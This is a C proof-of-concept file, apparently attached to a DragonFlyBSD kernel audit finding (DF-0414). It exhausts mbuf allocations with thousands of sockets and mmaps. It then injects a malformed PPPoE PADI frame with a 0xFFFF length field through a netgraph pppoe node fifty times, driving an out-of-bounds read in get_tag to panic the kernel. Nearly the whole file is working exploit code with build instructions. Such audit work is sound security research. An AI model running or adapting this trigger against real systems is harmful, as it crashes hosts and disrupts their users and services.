DragonFlyBSD Kernel Audit
DF-0414 / trigger_spray.c
← back to finding ↓ download raw
/*
 * DF-0414 trigger with heap pressure.
 *
 * Same as trigger.c, but first exhausts mbuf allocations to push the
 * trigger frame's mbuf toward the end of the mbuf zone. This maximizes
 * the chance the OOB walk crosses into unmapped memory and panics.
 *
 * Build:
 *   cc -o trigger_spray trigger_spray.c -lnetgraph
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <netgraph.h>
#include <netgraph/ng_message.h>
#include <arpa/inet.h>

#define ETHERTYPE_PPPOE_DISC 0x8863
#define PADI_CODE            0x09

#define MANY 20000

int main(void) {
    int cs = -1, ds = -1;
    int rc;
    NgSetErrLog((void(*)(const char*, ...))printf,
                (void(*)(const char*, ...))printf);

    rc = NgMkSockNode(NULL, &cs, &ds);
    if (rc < 0) { fprintf(stderr, "NgMkSockNode: %s\n", strerror(errno)); return 2; }

    /* Spray mbufs by opening many sockets & allocating via mmap.
     * Each socket allocates mbufs internally; we keep them alive to
     * consume the zone. */
    fprintf(stderr, "[*] spraying %d sockets to pressurize mbuf zone...\n", MANY);
    int *socks = calloc(MANY, sizeof(int));
    int opened = 0;
    for (int i = 0; i < MANY; i++) {
        socks[i] = socket(AF_INET, SOCK_STREAM, 0);
        if (socks[i] < 0) break;
        opened++;
    }
    fprintf(stderr, "[+] opened %d sockets\n", opened);

    /* Now also try to consume mbuf clusters via large mmaps */
    void *mappings[64];
    int nm = 0;
    for (int i = 0; i < 64; i++) {
        mappings[i] = mmap(NULL, 4096, PROT_READ|PROT_WRITE,
                           MAP_PRIVATE|MAP_ANON, -1, 0);
        if (mappings[i] == MAP_FAILED) break;
        memset(mappings[i], 0x41, 4096);
        nm++;
    }
    fprintf(stderr, "[+] mapped %d anon pages as sentinel 0x41 fill\n", nm);

    /* Build topology */
    struct ngm_mkpeer mp;
    memset(&mp, 0, sizeof(mp));
    strlcpy(mp.type,     "pppoe",    sizeof(mp.type));
    strlcpy(mp.ourhook,  "mydata",   sizeof(mp.ourhook));
    strlcpy(mp.peerhook, "ethernet", sizeof(mp.peerhook));
    rc = NgSendMsg(cs, ".", NGM_GENERIC_COOKIE, NGM_MKPEER, &mp, sizeof(mp));
    if (rc < 0) { fprintf(stderr, "MKPEER: %s\n", strerror(errno)); return 3; }
    fprintf(stderr, "[+] ng_pppoe peer created\n");

    /* Build malicious frame: ph->length=0xFFFF, single small tag (no SRV_NAME match)
     * so get_tag walks far into heap. */
    unsigned char frame[24];
    memset(frame, 0, sizeof(frame));
    memset(frame + 0, 0xff, 6);                /* dst = bc */
    frame[6]=0x00; frame[7]=0x11; frame[8]=0x22; frame[9]=0x33; frame[10]=0x44; frame[11]=0x55;
    frame[12] = 0x88; frame[13] = 0x63;
    frame[14] = 0x11; frame[15] = PADI_CODE;
    frame[18] = 0xff; frame[19] = 0xff;        /* ph->length = 0xFFFF */
    /* tag[0]: type=0x0001, tag_len=0 */
    frame[20] = 0x00; frame[21] = 0x01;
    frame[22] = 0x00; frame[23] = 0x00;

    fprintf(stderr, "[+] injecting malicious PADI (ph->length=0xFFFF, 24-byte mbuf)\n");

    /* Trigger many times to maximize panic chance */
    for (int i = 0; i < 50; i++) {
        rc = NgSendData(ds, "mydata", frame, sizeof(frame));
        if (rc < 0) {
            /* ENETUNREACH is "expected" — get_tag returned NULL after OOB walk.
             * If we get a different error or the call hangs, something changed. */
            if (errno != ENETUNREACH) {
                fprintf(stderr, "[!] iter %d NgSendData: %s\n", i, strerror(errno));
            }
        } else {
            fprintf(stderr, "[!] iter %d NgSendData succeeded unexpectedly\n", i);
        }
    }
    fprintf(stderr, "[+] done. If kernel still up, OOB walk stayed in mapped memory.\n");

    for (int i = 0; i < opened; i++) close(socks[i]);
    free(socks);
    for (int i = 0; i < nm; i++) munmap(mappings[i], 4096);
    return 0;
}